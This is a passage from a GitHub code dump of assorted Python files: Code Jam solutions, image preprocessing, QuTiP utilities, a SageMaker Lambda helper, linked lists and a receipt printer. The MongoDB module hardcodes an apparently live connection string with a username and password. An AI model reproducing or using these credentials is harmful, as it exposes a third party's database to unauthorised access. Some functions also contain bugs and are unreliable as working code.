\"r\")\r\n oFile = open(fn + \".out\", \"w\")\r\n print(\"Files opened.\")\r\n\r\n data = []\r\n while True:\r\n line = iFile.readline()\r\n if not line: break\r\n data.append(line)\r\n\r\n out = process(data)\r\n print(\"Calculations complete. Outputting to file.\")\r\n oFile.writelines(out)\r\n print(\"Output complete.\")\r\n iFile.close()\r\n oFile.close()\r\n print(\"Files closed.\")\r\n\r\nmain(\"large\")\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_81/451.py","file_name":"451.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72303850434","text":"#import utils.imgs\nimport numpy as np\nimport cv2\nimport utils.actions\nfrom utils.dirs import ApplyToDirs,ApplyToFiles\n\nNEG_VALUE=100\nPOZ_VALUE=200\n\n@ApplyToFiles(dir_arg=True)\ndef action_diff(in_path,out_path):\n print(str(out_path))\n action_i=utils.actions.read_action(in_path,False)\n new_frames=action_i.apply_temporal(encode)\n new_action=utils.actions.Action(action_i.name,new_frames)\n new_action.save(out_path)\n\n@ApplyToDirs()\ndef diff(in_path,out_path):\n img=cv2.imread(str(in_path))\n img=smooth_diff(img)\n cv2.imwrite(str(out_path),img)\n\ndef encode(img1,img2):\n img1=standarize(img1,mult=15.0,trans=0.0)\n img2=standarize(img2,mult=15.0,trans=0.0)\n img2*=16.0\n #img2+=15.0\n img3=img1+img2\n img3=np.sqrt(img3)\n print(np.max(img1))\n print(np.max(img2))\n print(np.max(img3))\n return img3\n\ndef smooth_diff2(img1,img2):\n img1=clean(img1)\n img2=clean(img2)\n img3=img2-img1\n img3=sign_diff(img3)\n return img3\n\ndef clean(img):\n img = cv2.medianBlur(img,5)\n img=img.astype(float)\n return img\n\ndef unify_img(img,diff):\n img=standarize(img)\n poz_val=np.max(diff)\n neg_val=np.min(diff[diff!=0])\n threshold=(poz_val+neg_val)/2.0\n diff2=np.zeros(diff.shape)\n diff2[diff!=0]=50\n diff2[diff>threshold]=250\n select=(diff!=0)\n img[select]=diff2[select]\n return img\n\ndef smooth_diff(img):\n img = cv2.medianBlur(img,5)\n img=img.astype(float)\n diff=basic_diff(img)\n print(img.shape)\n print(diff.shape)\n diff=sign_diff(diff)\n return diff\n\ndef sep_diff(img):\n img=standarize(img)\n diff_img=sign_diff(img)\n img1,img2=split_img(img)\n diff_img[diff_img!=0.0]=NEG_VALUE\n img1[img1==0]=diff_img[img1==0]\n return img1 \n\ndef coded_diff(img):\n img=standarize(img)\n diff_img=sign_diff(img)\n img1,img2=split_img(img)\n img1[diff_img==POZ_VALUE]+=64.0\n img1[diff_img==POZ_VALUE]+=127.0\n return img1\n\ndef standarize(img,mult=128.0,trans=64):\n img=img.astype(float)\n max_value=np.max(img)\n min_value=np.min(img[img!=0])\n img[img!=0]-=(min_value-1.0)\n delta=np.max(img)#max_value-min_value+1.0\n img/=delta\n img[...]*=mult #128.0\n img[img!=0]+=trans#64.0\n return img\n\ndef sign_diff(img):\n #img=basic_diff(img)\n img[img>0]=POZ_VALUE\n img[img<0]=NEG_VALUE\n return img\n\ndef full_diff(img):\n img=basic_diff(img)\n return np.abs(img)\n\ndef simple_diff(img1,img2):\n return img1\n\ndef basic_diff(img):\n img1,img2=split_img(img)\n img3=img2-img1\n return img3\n\ndef split_img(img):\n img_height=img.shape[0]/2\n img1=img[...][0:img_height]\n img2=img[...][img_height:2*img_height]\t\n return img1,img2\n\nif __name__ == \"__main__\":\n diff(\"out.jpg\",\"diff.jpg\")","repo_name":"tjacek/realtime_actions","sub_path":"preproc/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75232709634","text":"import torch\nfrom torch.utils import data\n\ndef train_test_iter(data_arrays, train_per, batch_size, data_size):\n \"\"\"构造训练测试数据集\"\"\"\n dataset = data.TensorDataset(*data_arrays)\n return torch.utils.data.random_split(dataset, [int(train_per*len(dataset)), len(dataset)-int(train_per*len(dataset))])\n\n\"\"\"数据转换\"\"\"\nfeatures, labels = torch.load('features-file'), torch.load('labels-file')\ndata_size = features.shape[0]\ntrain_per, batch_size = 0.9, 256\ntrain_data, test_data = train_test_iter((features, labels), train_per, batch_size, data_size)\ntorch.save(train_data, 'train-file')\ntorch.save(test_data, 'test-file')","repo_name":"solaatri/project1","sub_path":"my code/02_trans.py","file_name":"02_trans.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2441711900","text":"# Useful functions for implementing QuTiP algorithms\n\nfrom qutip import *\nimport matplotlib.pyplot as plt\n\n# An implementation of foldl (I think)\n# In: func, the function to apply; xs, the list to fold\n# Out: The result of folding the list with the specified function\ndef foldl(func, xs):\n ret = xs[0]\n for i in range(1,len(xs)):\n ret = func(ret, xs[i])\n return ret\n\n# Converts integer to its k-bitstring representation\n# In: x, an integer; k, the length of the bitstring\n# Out: x as a k-bitstring\ndef int_to_bin(x, k):\n num = '{0:b}'.format(x)\n s = '0'*(k-len(num))+num\n return [ int(d) for d in s ]\n\ndef bin_to_int(x):\n ret = 0\n lenx = len(x)\n for i in range(lenx):\n ret += x[i]*(2**(lenx-1-i))\n return ret\n\n# Generates list of binary strings, as specified\n# In: k, desired length of representation; xs, list of integers to convert\n# Out: A list of k-bitstrings in the order given\ndef gen_bin_list(k, xs):\n return [ int_to_bin(x,k) for x in xs ]\n\n# Plots a density matrix as a histogram\n# In: dm, a density matrix\n# Out: nothing\ndef dm_to_hist(dm):\n names = [ str(x) for x in range(len(dm.diag())) ]\n values = dm.diag()\n plt.figure()\n plt.xlabel('Basis vector')\n plt.ylabel('Expectation value')\n plt.title('Probability Distribution')\n plt.bar(names, values)\n axes = plt.gca()\n axes.set_ylim([0.0,1.0])\n plt.show()\n\ndef ket_as_list(ket):\n return ket.full().astype(int).flatten().tolist()\n\ndef int_to_ket(x, n):\n return tensor([ basis(2, d) for d in int_to_bin(x,n) ])\n\n\n# List of registers to preserve (0...n-1)\ndef ptrace_wrt_regs(obj, ris, n):\n qubits = []\n for i in ris:\n qubits.extend( [i * n + j for j in range(n)] )\n return obj.ptrace(qubits)\n\n# Generates an oracle operator for Simon's Algorithm (Note: assumes structure\n# of oracle)\n# In: k, the size of the group; f, the oracle function; mult, multiplier for the\n# if applicable\n# Out: a (2**n)x(2**n) unitary operator embedding the oracle function\ndef gen_oracle_op(n, f, arity=2):\n ret = [ [] for _ in range(2**(2*n)) ]\n for x in range(len(f)):\n for y in range(len(f)):\n fx = f[x]\n x_ket = int_to_ket(x,n)\n y_ket = int_to_ket((fx+y)%2**n, n)\n ket = tensor( x_ket, y_ket )\n for i,entry in enumerate(ket_as_list(ket)):\n ret[i].append(entry)\n return ret\n","repo_name":"notmattmoore/quantum-algorithms","sub_path":"qutip/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"26418588363","text":"\"\"\"\n Implements all io operations of data.\n\"\"\"\n\nfrom utils._libs_ import np, pd, torch, Variable\nimport json\nfrom utils.trans_data import feature_eng \n\n# -------------------------------------------------------------------------------------------------------------------------------------------------\n\n\"\"\"\nGet the data generator\n\"\"\"\ndef getGenerator(data_name):\n return GeneralGenerator\n\n# -------------------------------------------------------------------------------------------------------------------------------------------------\n\"\"\"\nDataGenerator class produces data samples for all models\n\"\"\"\nclass DataGenerator():\n def __init__(self, data_dict, mode, train_share=(.6, .2), input_T=56, collaborate_span=0,\n collaborate_stride=1, limit=np.inf, cuda=False):\n if mode == \"continuous\" and collaborate_span <= 0:\n raise Exception(\"collaborate_span must > 0!\")\n\n self.data_dict=data_dict\n if limit < np.inf: self.X = self.X[:limit]\n self.train_share = train_share\n self.input_T = input_T\n self.collaborate_span = collaborate_span\n self.collaborate_stride = collaborate_stride\n self.column_num = np.array(self.data_dict[0]['X']).shape[1]\n self.F_column_num = np.array(self.data_dict[0]['F']).shape[2]\n self.mode = mode\n self.cuda = cuda\n\n self.split_data()\n\n # ---------------------------------------------------------------------------------------------------------------------------------------------\n \"\"\"\n Split the training, validation and testing data\n \"\"\"\n def split_data(self):\n test_range = int(len(self.data_dict) * (1-self.train_share[0]-self.train_share[1])) - 1\n valid_range = test_range + int(len(self.data_dict) * self.train_share[1]) - 1\n train_range = len(self.data_dict)\n train_dict, valid_dict, test_dict = [], [], []\n for d in self.data_dict:\n if d['watch'] < test_range:\n test_dict.append(d)\n elif d['watch'] < valid_range:\n valid_dict.append(d)\n else:\n train_dict.append(d)\n \n self.train_set = self.batchify(train_dict, valid_dict)\n self.valid_set = self.batchify(valid_dict, test_dict)\n self.test_set = self.batchify(test_dict, test_dict, 'test')\n\n # ---------------------------------------------------------------------------------------------------------------------------------------------\n\n def batchify(self, setDict, testdict, mode='train'):\n idx_num = np.array(setDict).shape[0]\n if self.mode == \"immediate\":\n X = torch.zeros((idx_num, self.input_T, self.column_num))\n F = torch.zeros((idx_num, self.input_T, self.column_num, self.F_column_num))\n Y = torch.zeros((idx_num, self.column_num))\n for i in range(idx_num):\n X[i, :, :] = torch.from_numpy(self.setDict[i]['X'])\n F[i, :, :, :] = torch.from_numpy(self.setDict[i]['F'])\n Y[i, :] = torch.from_numpy(self.setDict[i]['y'])\n elif self.mode == \"continuous\":\n X = torch.zeros((idx_num, self.input_T, self.column_num))\n F = torch.zeros((idx_num, self.input_T, self.column_num, self.F_column_num))\n Y = torch.zeros((idx_num, self.collaborate_span * 2 + 1, self.column_num))\n for i in range(idx_num):\n X[i, :, :] = torch.from_numpy(np.array(setDict[i]['X']))\n F[i, :, :, :] = torch.from_numpy(np.array(setDict[i]['F']))\n Y[i, 0:self.collaborate_span, :] = torch.from_numpy(np.array(setDict[i]['X'][-self.collaborate_span-1:-1]))\n Y[i, self.collaborate_span, :] = torch.from_numpy(np.array(setDict[i]['y']))\n if mode == 'test':\n Y[i, self.collaborate_span+1:self.collaborate_span * 2 + 1, :] = torch.from_numpy(np.array(setDict[i]['y']))\n else:\n if i!=np.array(setDict).shape[0]-1:\n Y[i, self.collaborate_span+1:self.collaborate_span * 2 + 1, :] = torch.from_numpy(np.array(setDict[i+1]['X'][0:self.collaborate_span]))\n else:\n Y[i, self.collaborate_span+1:self.collaborate_span * 2 + 1, :] = torch.from_numpy(np.array(testdict[0]['X'][0:self.collaborate_span]))\n else:\n raise Exception('invalid mode')\n return [X, F, Y]\n\n\n # ---------------------------------------------------------------------------------------------------------------------------------------------\n def get_batches(self, X, F, Y, batch_size, shuffle=True):\n length = len(X)\n if shuffle:\n index = torch.randperm(length)\n else:\n index = torch.LongTensor(range(length))\n start_idx = 0\n while (start_idx < length):\n end_idx = min(length, start_idx + batch_size)\n excerpt = index[start_idx:end_idx]\n batch_X = X[excerpt]\n batch_F = F[excerpt]\n batch_Y = Y[excerpt]\n if (self.cuda):\n batch_X = batch_X.cuda()\n batch_F = batch_F.cuda()\n batch_Y = batch_Y.cuda()\n yield Variable(batch_X), Variable(batch_F),Variable(batch_Y)\n start_idx += batch_size\n\n# -------------------------------------------------------------------------------------------------------------------------------------------------\nclass GeneralGenerator(DataGenerator):\n def __init__(self, data_path, mode, train_share=(.6, .2), input_T=56, collaborate_span=0,\n collaborate_stride=1, limit=np.inf, cuda=False):\n data_dict = feature_eng(data_path, input_T)\n super(GeneralGenerator, self).__init__(data_dict, mode=mode,\n train_share=train_share,\n input_T=input_T,\n collaborate_span=collaborate_span,\n collaborate_stride=collaborate_stride,\n limit=limit,\n cuda=cuda)\n\n","repo_name":"lixt47/SLST-PKNet","sub_path":"utils/data_io.py","file_name":"data_io.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"5679678286","text":"a = int(input())\n\nfor i in range(a):\n num = list(map(int, input().split()))\n avg = (sum(num) - num[0])/num[0]\n cnt = 0\n\n for j in range(1, num[0]+1):\n if num[j] > avg:\n cnt += 1\n \n print(\"{:.3f}%\".format(cnt/num[0]*100))\n","repo_name":"wnsrud2002/Backjun_python","sub_path":"4344.py","file_name":"4344.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13144581683","text":"# Shaves down the 311 data to noise reports only\n\nimport csv\nimport os\n\ndata_dir = os.environ['DATA_DIR'] # path to data/\nrawdata_dir = data_dir + '/raw/'\nprocesseddata_dir = data_dir + '/processed/'\n\ninfile_with_path = os.path.join(rawdata_dir, '311_Cases.csv')\noutfile_with_path = os.path.join(rawdata_dir, '311_Cases_filtered.csv')\n\nwith open(infile_with_path, 'r') as infile, open(outfile_with_path, 'w') as outfile:\n writer = csv.writer(outfile)\n for row in csv.reader(infile):\n if row[0].strip().lower() == 'caseid': # Captures header\n writer.writerow(row)\n if row[7].strip().lower() == 'noise report': # Filters to noise reports only\n req_type = row[8].strip().lower() \n # Within noise reports, selects only noise & entertainment\n if req_type.find('entertainment') != -1 or req_type.find('noise') != -1:\n writer.writerow(row)","repo_name":"DiPierro/comm-177p-project-sf-data-project","sub_path":"scripts/311_data.py","file_name":"311_data.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13041942039","text":"\"\"\"\n单链表和双链表\n\"\"\"\nimport inspect\n\n\nclass Node(object):\n def __init__(self, data, next_node=None):\n self.data = data\n self.next = next_node\n\n\nclass SinglyLinkedList(object):\n def __init__(self):\n self.head = None\n\n # 链表查找\n def search(self, node, data):\n if node is None:\n return None\n if node.data == data:\n return node\n return self.search(node.next, data)\n\n # 获取数据\n def get_data(self):\n temp = self.head\n l_list = []\n while temp:\n l_list.append(temp.data)\n temp = temp.next\n return l_list\n\n # 在链表开头插入\n def insert_at_start(self, data):\n if self.head is None:\n new_node = Node(data)\n self.head = new_node\n else:\n new_node = Node(data)\n new_node.next = self.head\n self.head = new_node\n\n # 结尾插入\n def insert_at_end(self, data):\n new_node = Node(data)\n temp = self.head\n while temp.next is not None:\n temp = temp.next\n temp.next = new_node\n\n @staticmethod\n def get_code():\n return inspect.getsource(SinglyLinkedList)\n\n\nclass DoublyLinkedList(object):\n def __init__(self):\n self.head = None\n\n def get_data(self):\n temp = self.head\n l_list = []\n while temp:\n l_list.append(temp.data)\n temp = temp.next\n return l_list\n\n # 开头插入\n def insert_at_start(self, data):\n if self.head is None:\n self.head = Node(data)\n else:\n new_node = Node(data)\n self.head.previous = new_node\n new_node.next = self.head\n self.head = new_node\n\n # 结尾插入\n def insert_at_end(self, data):\n new_node = Node(data)\n temp = self.head\n while temp.next is not None:\n temp = temp.next\n temp.next = new_node\n new_node.previous = temp\n\n # 删除\n def delete(self, data):\n temp = self.head\n if temp.next is not None:\n # if head node is to be deleted\n if temp.data == data:\n temp.next.previous = None\n self.head = temp.next\n temp.next = None\n return\n else:\n while temp.next is not None:\n if temp.data == data:\n break\n temp = temp.next\n if temp.next:\n # if element to be deleted is in between\n temp.previous.next = temp.next\n temp.next.previous = temp.previous\n temp.next = None\n temp.previous = None\n else:\n # if element to be deleted is the last element\n temp.previous.next = None\n temp.previous = None\n return\n\n if temp is None:\n return\n\n @staticmethod\n def get_code():\n return inspect.getsource(DoublyLinkedList)\n\n\nclass CircularLinkedList(object):\n def __init__(self):\n self.head = None\n self.tail = None\n self.size = 0\n\n def clear(self):\n self.tail = None\n self.head = None\n\n def get_data(self):\n l_list = []\n current = self.tail\n while True:\n l_list.append(current.data)\n current = current.next\n if current == self.tail:\n break\n return l_list\n\n def insert(self, data):\n node = Node(data)\n if self.head:\n self.head.next = node\n self.head = node\n else:\n self.head = node\n self.tail = node\n self.head.next = self.tail\n self.size += 1\n\n def delete(self, data):\n current = self.tail\n prev = self.tail\n while prev == current or prev != self.head:\n if current.data == data:\n if current == self.tail:\n self.tail = current.next\n self.head.next = self.tail\n else:\n prev.next = current.next\n self.size -= 1\n return\n prev = current\n current = current.next\n\n @staticmethod\n def get_code():\n return inspect.getsource(CircularLinkedList)\n\n\nif __name__ == '__main__':\n cll = CircularLinkedList()\n cll.insert(1)\n cll.insert(2)\n cll.insert(3)\n print(cll.get_data())\n print(cll.get_code())\n","repo_name":"lvyunze/pyalgorithm","sub_path":"data_structures/linked_list/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":4572,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"30048668175","text":"######################################################\n# Help Functions for Lmabda (Customer Chrun Example)\n# Author: Yiran Jing\n# Date:04-07-2019\n#####################################################\n\nimport json\nimport boto3\nimport csv\nimport os\nimport io\nimport logging\nfrom botocore.exceptions import ClientError\nfrom pprint import pprint\nfrom time import strftime, gmtime\nfrom json import dumps, loads, JSONEncoder, JSONDecoder\nfrom six.moves import urllib\n\nENDPOINT_NAME = os.environ['ENDPOINT_NAME'] # access environment variable values\nruntime= boto3.client('runtime.sagemaker') # A low-level client representing Amazon SageMaker Runtime\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('taysolsdev')\nprefix = 'datasets/churn'\n\n\n\"\"\"\nRead in new csv dataset for predictions\n\nParameters:\n------------\n event: dict type with JSON format\n AWS Lambda uses this parameter to pass in event data to the handle\n\nReturns:\n--------\n test_data_input:\n the new dataset that will be used for prediction\n\"\"\"\ndef read_csv(event):\n # retrieve bucket name and file_key from the S3 event\n bucket_name = event['Records'][0]['s3']['bucket']['name'] # should be used\n #file_key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['input_key'])\n file_key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key'])\n # get the file object\n obj = s3.Object(bucket_name, file_key)\n # get lines inside the csv\n lines = obj.get()['Body'].read().split(b'\\n')\n # Read in CSV file\n test_data_input = lines[0].decode() # first row\n for r in lines[1:]:\n test_data_input = test_data_input + '\\n' + r.decode() # we need to decode for each row\n return test_data_input\n\n\n\n\"\"\"\nMake the prediction of probability for each observation and threshold (0.5 by default )\n\nParameters:\n------------\n test_data_input:\n the new dataset that will be used for prediction\n\nReturns:\n--------\n predictions_probability:\n the new list with predicted probabilities for each observation\n\"\"\"\ndef prediction_probability(test_data_input):\n response = runtime.invoke_endpoint(EndpointName=ENDPOINT_NAME,\n ContentType='text/csv',\n Body=test_data_input)\n # get the list of predictions\n predictions_probability= response['Body'].read().decode(\"utf-8\").split(\",\") # we must decode explicitly as \"utf-8\"\n return predictions_probability\n\n\n\n\"\"\"\nPredict the label for each observation based on predicted probability and threshold (0.5 by default )\n\nParameters:\n------------\n predictions_probability: list\n the list of predicted probabilities for each observation\n threshold: (optional) a float\n the threshold we want to use for label decision. 0.5 by default\n\nReturns:\n--------\n predictions_label:\n the new list with predicted labels\n\"\"\"\ndef predicted_label(predictions_probability, threshold = 0.5):\n predictions_label=[0 if float(x) < threshold else 1 for x in predictions_probability]\n return predictions_label\n\n\n\n\"\"\"\nWrite out the predictions to S3 bucket\n\nParameters:\n------------\n predictions_probability: list\n the list of predicted probabilities for each observation\n event: dict type with JSON format\n AWS Lambda uses this parameter to pass in event data to the handle\n\"\"\"\ndef write_out_s3(event, predictions_probability):\n # the output data must be bytes-like object, and split by '\\n'\n result = predictions_probability[0]\n for item in predictions_probability[1:]:\n result = result + \"\\n\" + item\n output_bytes = bytes(result.encode('UTF-8'))\n # get the output bucket\n bucket_name = event['Records'][0]['s3']['bucket']['name'] # should be used\n #new_key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['output_key'])\n\n ## currently, write back to inoput datafile\n bucket_name = event['Records'][0]['s3']['bucket']['name']\n file_key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key'])\n new_object = s3.Object(bucket_name, file_key)\n new_object.put(Body=output_bytes)\n","repo_name":"YiranJing/AWS-BigData-application","sub_path":"AWS_lambda_Inpoint_CustomerChurn/MyFirstFunction/help_function_lambda.py","file_name":"help_function_lambda.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32889819278","text":"import pymongo\nimport ast\nimport json\nfrom bson import json_util\nfrom bson.objectid import ObjectId\n\n\nclass DataAccess(object):\n\n def __init__(self):\n mongodb_url = \"mongodb://heroku_h5t46r8p:hba6f3a68mco0j9cbst7ps6cjo@ds121282.mlab.com:21282/heroku_h5t46r8p\"\n self.mongodb_obj = MongoDB(url=mongodb_url)\n\n\nclass MongoDB(object):\n\n def __init__(self, url):\n self.client = pymongo.MongoClient(url)\n self.default_db = self.client.get_default_database()\n self.collection_review = self.default_db[\"review\"]\n\n @staticmethod\n def json_out(results):\n json_results = []\n for result in results:\n json_results = result\n return ast.literal_eval(json.dumps(json_results, default=json_util.default))\n\n ####################\n # COMMENT\n ####################\n\n def add_review(self, review_data):\n self.collection_review.insert(review_data)\n return True\n\n def get_review(self, query_filter={}):\n return self.json_out(self.collection_review.find(query_filter))\n\n def delete_review(self, query_filter={}):\n query_data = self.get_review(query_filter=query_filter)\n if len(query_data) == 1:\n self.collection_review.remove(ObjectId(query_data[0][\"_id\"][\"$oid\"]))\n return True\n else:\n return False\n","repo_name":"sudhishkr/spike-crowdsource","sub_path":"bin/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40305487474","text":"\"\"\"\r\nReceipt class, contains Order objs list and operations in modifying the receipt\r\n\"\"\"\r\nfrom typing import *\r\nfrom order import *\r\nimport win32api\r\nimport win32print\r\nimport tempfile\r\nimport datetime\r\nimport os,sys\r\nimport re\r\n\r\n\r\nclass Receipt(object):\r\n\r\n count = 0\r\n\r\n def __init__(self, orders=[]) -> None:\r\n current_date = datetime.datetime.now().strftime('%Y-%m-%d') # get today's date\r\n\r\n current_hour = datetime.datetime.now().strftime('%H') # get current hour\r\n if int(current_hour) < 6: # if after midnight, but still count as the same day\r\n today = datetime.date.today()\r\n oneday = datetime.timedelta(days=1)\r\n yesterday = today - oneday\r\n current_date = yesterday.strftime('%Y-%m-%d')\r\n else:\r\n current_date = datetime.datetime.now().strftime('%Y-%m-%d')\r\n\r\n self.__dataPath = \".\\\\data\\\\receipt\\\\%s\\\\\" % current_date # init today's data file path\r\n\r\n # create data path if not exist\r\n if not os.path.exists(self.__dataPath): # if path not exist\r\n print(\"today's data path not exist\")\r\n try: # create path\r\n os.mkdir(self.__dataPath)\r\n except Exception as e: # try another way to make path\r\n os.makedirs(self.__dataPath)\r\n\r\n # calculate current receipt num\r\n receipt_num_list = []\r\n receipt_files = os.listdir(self.__dataPath) # get today's receipts\r\n if len(receipt_files) == 0: # if currently empty\r\n print(\"current no receipt\")\r\n Receipt.count = 1\r\n self.__receipt_num = Receipt.count\r\n else: # if there exist receipt in today's data\r\n for receipt_file in receipt_files:\r\n receipt_num_list.append(int(re.split('[#.]', receipt_file)[1])) # append receipt num to list\r\n Receipt.count = max(receipt_num_list) + 1 # the max num in list is the current receipt count\r\n self.__receipt_num = Receipt.count\r\n\r\n self.receipt_dir = self.__dataPath + \"\\\\\" + \"#\" + str(self.__receipt_num) + \".txt\"\r\n self.__orders = {} # create order list\r\n self.__info = {\"name\": \"\", \"phone\": \"\", \"pickup\": \"\", \"cashback\": \"\"}\r\n self.__payments = {\"cash\": 0, \"card\": 0, \"emt\": 0}\r\n self.__unpaid_amount = 0\r\n self.__paid_amount = 0\r\n self.__cashback = 0\r\n self.__init_time = datetime.datetime.now().strftime('%H:%M:%S')\r\n self.__modify_time = datetime.datetime.now().strftime('%H:%M:%S')\r\n self.__total = 0\r\n if len(orders) != 0:\r\n for order in orders:\r\n self.add_order(order)\r\n\r\n kinds = os.listdir(\".\\\\data\\\\ui_input\\\\\")\r\n for kind in kinds:\r\n kind = kind.split(\".\")[1]\r\n self.__orders[kind] = []\r\n\r\n self.store_receipt()\r\n\r\n def set_paid_amount(self, amount):\r\n self.__paid_amount = amount\r\n\r\n def set_unpaid_amount(self, amount):\r\n self.__unpaid_amount = amount\r\n\r\n def set_payments(self, cash_amount=0, card_amount=0, emt_amount=0):\r\n self.__payments[\"cash\"] = cash_amount\r\n self.__payments[\"card\"] = card_amount\r\n self.__payments[\"emt\"] = emt_amount\r\n self.set_paid_amount(cash_amount + card_amount + emt_amount)\r\n self.set_unpaid_amount(self.get_total() - self.get_paid_amount())\r\n\r\n def set_info(self, name=\"\", phone=\"\", time=\"\"):\r\n if name != \"\":\r\n self.__info[\"name\"] = name\r\n if phone != \"\":\r\n self.__info[\"phone\"] = phone\r\n if time != \":\":\r\n self.__info[\"pickup\"] = time\r\n self.store_receipt()\r\n return\r\n\r\n def set_cashback(self,amount):\r\n self.__cashback = amount\r\n\r\n def get_cashback(self):\r\n return self.__cashback\r\n\r\n def add_order(self, order):\r\n kind = order.get_kind()\r\n self.__orders[kind].append(order)\r\n self.__total = order.get_total()\r\n self.__modify_time = datetime.datetime.now().strftime('%H:%M:%S')\r\n self.store_receipt()\r\n return\r\n\r\n def get_order_byidx(self,index):\r\n idx = 0\r\n for kind in self.__orders:\r\n for order in self.__orders[kind]:\r\n if idx == index:\r\n return order\r\n else:\r\n idx += 1\r\n\r\n def store_receipt(self):\r\n current_date = datetime.datetime.now().strftime('%Y-%m-%d')\r\n current_time = datetime.datetime.now().strftime('%H:%M:%S')\r\n\r\n with open(self.receipt_dir, \"w\") as f:\r\n\r\n f.write(\"Cupar Hotel\\n\")\r\n f.write(\"%s\\n\" % current_date)\r\n f.write(\"init: %s\\n\" % self.__init_time)\r\n f.write(\"modify: %s\\n\" % current_time)\r\n f.write(\"#\" + str(self.__receipt_num) + \"\\n\")\r\n f.write(\"=================\\n\")\r\n\r\n for kind in self.__orders:\r\n if len(self.__orders[kind]) == 0:\r\n continue\r\n s = (\"[%s]\" % kind).center(14, \"-\")\r\n f.write(s + \"\\n\")\r\n for order in self.__orders[kind]:\r\n f.write(\"(%sx) %s\\n\" % (order.get_amount(),order.get_name()))\r\n\r\n comments = order.get_comments()\r\n if comments:\r\n for comment in comments:\r\n f.write(\" -\" + comment + \"\\n\")\r\n\r\n f.write(\" $%.2f\\n\" % order.get_total())\r\n f.write(\"=================\\n\")\r\n\r\n f.write(\"Total $%.2f\\n\" % self.get_total())\r\n\r\n if self.__cashback != 0:\r\n f.write(\"[CASHBACK]$%.2f\\n\" % self.__cashback)\r\n\r\n for info in self.__info:\r\n if self.__info[info] != \"\":\r\n f.write(\"%s : %s\\n\" % (info, self.__info[info]))\r\n\r\n f.write(\"[PAID] $%.2f\\n\" % self.get_paid_amount())\r\n\r\n if self.get_unpaid_amount() >= 0.01:\r\n f.write(\"[UNPAID] $%.2f\\n\" % self.get_unpaid_amount())\r\n\r\n for payment in self.__payments:\r\n if self.__payments[payment] != 0:\r\n f.write(\" -%s $%.2f\\n\" % (payment, self.__payments[payment]))\r\n f.close()\r\n\r\n def get_orders(self) -> dict:\r\n return self.__orders\r\n\r\n def get_receipt_num(self) -> int:\r\n return self.__receipt_num\r\n\r\n def get_total(self) -> float:\r\n total = 0\r\n for kind in self.__orders:\r\n for order in self.__orders[kind]:\r\n total += order.get_total()\r\n self.__unpaid_amount = total - self.__paid_amount\r\n return total\r\n\r\n def get_paid_amount(self):\r\n return self.__paid_amount\r\n\r\n def get_unpaid_amount(self):\r\n return self.__unpaid_amount\r\n\r\n def get_payments(self):\r\n return self.__payments\r\n\r\n def get_info(self):\r\n s = \"#%i (%s) total: $%.2f\" % (self.__receipt_num,self.__init_time,self.get_total())\r\n if self.__info[\"name\"] != \"\" or self.__info[\"phone\"] != \"\":\r\n s += \"\\n %s %s\" % (self.__info[\"name\"], self.__info[\"phone\"])\r\n s += \"\\npaid: $%.2f unpaid: $%.2f\" % (self.__paid_amount, self.__unpaid_amount)\r\n return s\r\n\r\n def get_name(self):\r\n return self.__info[\"name\"]\r\n\r\n def get_phone(self):\r\n return self.__info[\"phone\"]\r\n\r\n def get_pickup(self):\r\n return self.__info[\"pickup\"]\r\n\r\n def print_file(self, file = \"\"):\r\n if file == \"\":\r\n file = self.receipt_dir\r\n\r\n open(file,\"r\")\r\n win32api.ShellExecute(0, \"print\", file, '/d:\"%s\"' % win32print.GetDefaultPrinter(), \".\", 0)\r\n\r\n def delete_order_byidx(self, order_idx):\r\n idx1 = 0\r\n for kind in self.__orders:\r\n for idx2 in range(len(self.__orders[kind])):\r\n if idx1 == order_idx:\r\n self.__orders[kind].pop(idx2)\r\n return\r\n idx1 += 1\r\n self.store_receipt()\r\n\r\n def delete_file(self):\r\n if os.path.exists(self.receipt_dir):\r\n os.remove(self.receipt_dir)\r\n print(\"current receipt #%i removed from dir\" % self.__receipt_num)\r\n return\r\n\r\n\r\nif __name__ == \"__main__\":\r\n r = Receipt()","repo_name":"DiwenL/order_system_bar-restaurant","sub_path":"receipt.py","file_name":"receipt.py","file_ext":"py","file_size_in_byte":8250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23602919761","text":"from fractions import gcd\nINPUT_FILE = 'inputs/B-large.in'\nOUTPUT_FILE = 'outputs/B-large.out'\n\nf_in = open(INPUT_FILE, 'r')\nf_out = open(OUTPUT_FILE, 'w+')\n\nC = int(f_in.readline())\nfor c in range(C):\n t = [int(i) for i in f_in.readline().split()]\n N = t[0]\n t = t[1:] # cut off the number of elements\n diffSet = set()\n for i in range(N - 1):\n 